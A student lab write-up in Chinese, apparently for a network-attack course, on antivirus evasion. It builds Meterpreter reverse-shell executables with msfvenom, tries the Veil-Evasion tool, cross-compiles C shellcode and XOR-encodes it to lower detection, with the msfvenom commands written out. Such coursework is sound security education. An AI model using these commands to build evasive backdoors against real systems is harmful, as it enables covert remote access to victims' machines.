20155208 徐子涵 Exp3 免杀原理与实践
20155208 徐子涵 Exp3 免杀原理与实践
基础问题回答
(1)杀软是如何检测出恶意代码的?
一种是基于特征码的检测,另一种是基于恶意行为的检测。
(2)免杀是做什么?
在我看来,免杀就是要达到一个目的,这个目的就是避免你植入的后门程序或是其他的具有恶意行为的程序被杀毒软件给杀掉。
(3)免杀的基本方法有哪些?
免杀的基本方法有多次编译,有加壳,有使用异或或者加一等方法对shellcode进行修改从而让杀毒软件不能识别。
实验开始
msfvenom直接生成meterpreter可执行文件
(终于开始自己进行实验了,略微有一点激动)
首先我们先尝试生成一些简单的容易被识别出来的后门,msfvenom直接生成meterpreter可执行文件:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.129 PORT=5208 -f exe > xzh1.exe
这时会发现几乎所有的杀毒软件都能识别出这一后门,果然是堪称最简单的方法,怕是只有放在杀毒软件还没有出现的时候才会不被识别出来吧。

这样我们不妨试一试多编译几次,看看会不会产生不一样的结果:

我们来扫描一下,发现并没有什么比一丁点大一点的改变,这就很难受。

用Veil-Evasion平台
俗话说"魔高一尺道高一丈",既然简单的被杀了,那我们就再换一种简单的,这次我们用Veil-Evasion平台,不过首先面临的就是Veil-Evasion的安装,还没装的时候就听见很多大佬说安装十分麻烦,不是出错就是时间太长,我胆战心惊的试着装了一下:
在Kali终端中使用
sudo apt-get install veil安装安装完成后继续安装Veil-Evasion
安装完成后,在终端中使用veil命令进入应用,输入
use evasion进入veil-evasion
猜猜发生了什么!!!一次性成功,全程不超过10分钟,开心的不行。

然后输入use c/meterpreter/rev_tcp.py生成可执行文件,刚开始还傻乎乎的直接在文件夹中找,就是找不到生成的可执行文件,最后发现人家是在veil安装目录里面的,找到之后扫描一下

哇!有了一点点的小进步,说明不同的平台效果也是不一样的哎!

C语言调用Shellcode
再试用另一种方法,生命在于探索(虽然是在老师走过的路上重新走一遍,不过还是要自己走一遍的嘛)
- 使用
msf生成一个C语言格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.129 LPORT=5208 -f c

生成了一段代码,下面就是把他 在Linux平台交叉编译Windows应用

老老实实的按照老师的方法进行交叉编译,在这里就不盗用老师的图了。
生成的xzh3.exe复制到Win7_64实测可以回连到msfconsole
回连成功!!!

不过扫描一下,还是可疑率很高啊,还是要继续加油。
最后的尝试
最后尝试进行逐位异或,在CB中生成可执行文件,异或之后覆盖原代码并再次生成可执行文件,并尝试回连,回连成功,扫描一下吧


终于成功了!!!
实践总结与体会
好难啊,觉得第一次遇到这么多问题,还有好多知识要自己去进行学习,不过确实经历了这么多之后还是比较有成就感的,以后还是要继续努力啊,兴趣越来越大了。
- 离实战还缺些什么技术或步骤?
还有好多不足的地方,好多都是参照学长学姐的成果,最后才进行了一点点改变,还是要保持着自己的好奇心,多去思考多去发现,才会有更大的进步。
20155208 徐子涵 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- C++读写图片数据转成Base64格式的一种方法
最近在一个项目中要实现在客户端和服务端之间传送图片文件的功能,采用了C++语言读写图片转化成Base64格式进行传输.具体代码如下: //++Base64.h #pragma once class C ...
- JS(JavaScript)的初了解4(更新中···)
1.JS的本质就是处理数据.数据来自于后台的数据库. 所以变量就起到一个临时存储数据的作用. ECMAScript制定了JS的数据类型. 数据类型有哪些? 字符串 String 数字 Num ...
- The SOLID principles(未完,待续)
The SOLID principles The SOLID principles of Object Oriented Design include these five principles: S ...
- 自制URL转换器
自定义 url 转换器五个步骤: 定义一个类. 在类中定义一个属性 regex ,这个属性是用来保存 url 转换器规则的正则表达式. 实现 to_python(self,value) 方法, ...
- JS模态框 简单案例
演示: <!doctype html> <html lang="en"> <head> <meta charset="UTF-8 ...
- 【异常】idea执行Main方法出现 Exception in thread "main" java.lang.NoClassDefFoundError: javax/servlet/http/HttpServletRequest
一.异常复现步骤 1)首先得是一个Spring MVC项目 注:Spring Boot项目有内置的web 容器,不会出现该问题 2)main方法存在于使用HttpServletRequest类的类中 ...
- 『TensorFlow』张量尺寸获取
tf.shape(a)和a.get_shape()比较 相同点:都可以得到tensor a的尺寸 不同点:tf.shape()中a 数据的类型可以是tensor, list, array a.get_ ...
- 2、使用Angular-CLI初始化Angular项目(踩过的深坑!!!)
1.step1:建一个放项目的文件夹,打开cmd,或vs code的终端,找到文件夹根目录 2.step2:初始化脚手架 初始化命令: ng new 项目名称 --skip-install 注意:-- ...
- 谈谈 iOS 中图片的解压缩
原文 对于大多数 iOS 应用来说,图片往往是最占用手机内存的资源之一,同时也是不可或缺的组成部分.将一张图片从磁盘中加载出来,并最终显示到屏幕上,中间其实经过了一系列复杂的处理过程,其中就包括了对图 ...
- Python日期的加减等操作
1. 日期输出格式化 所有日期.时间的api都在datetime模块内. 1. datetime => string now = datetime.datetime.now() now.strf ...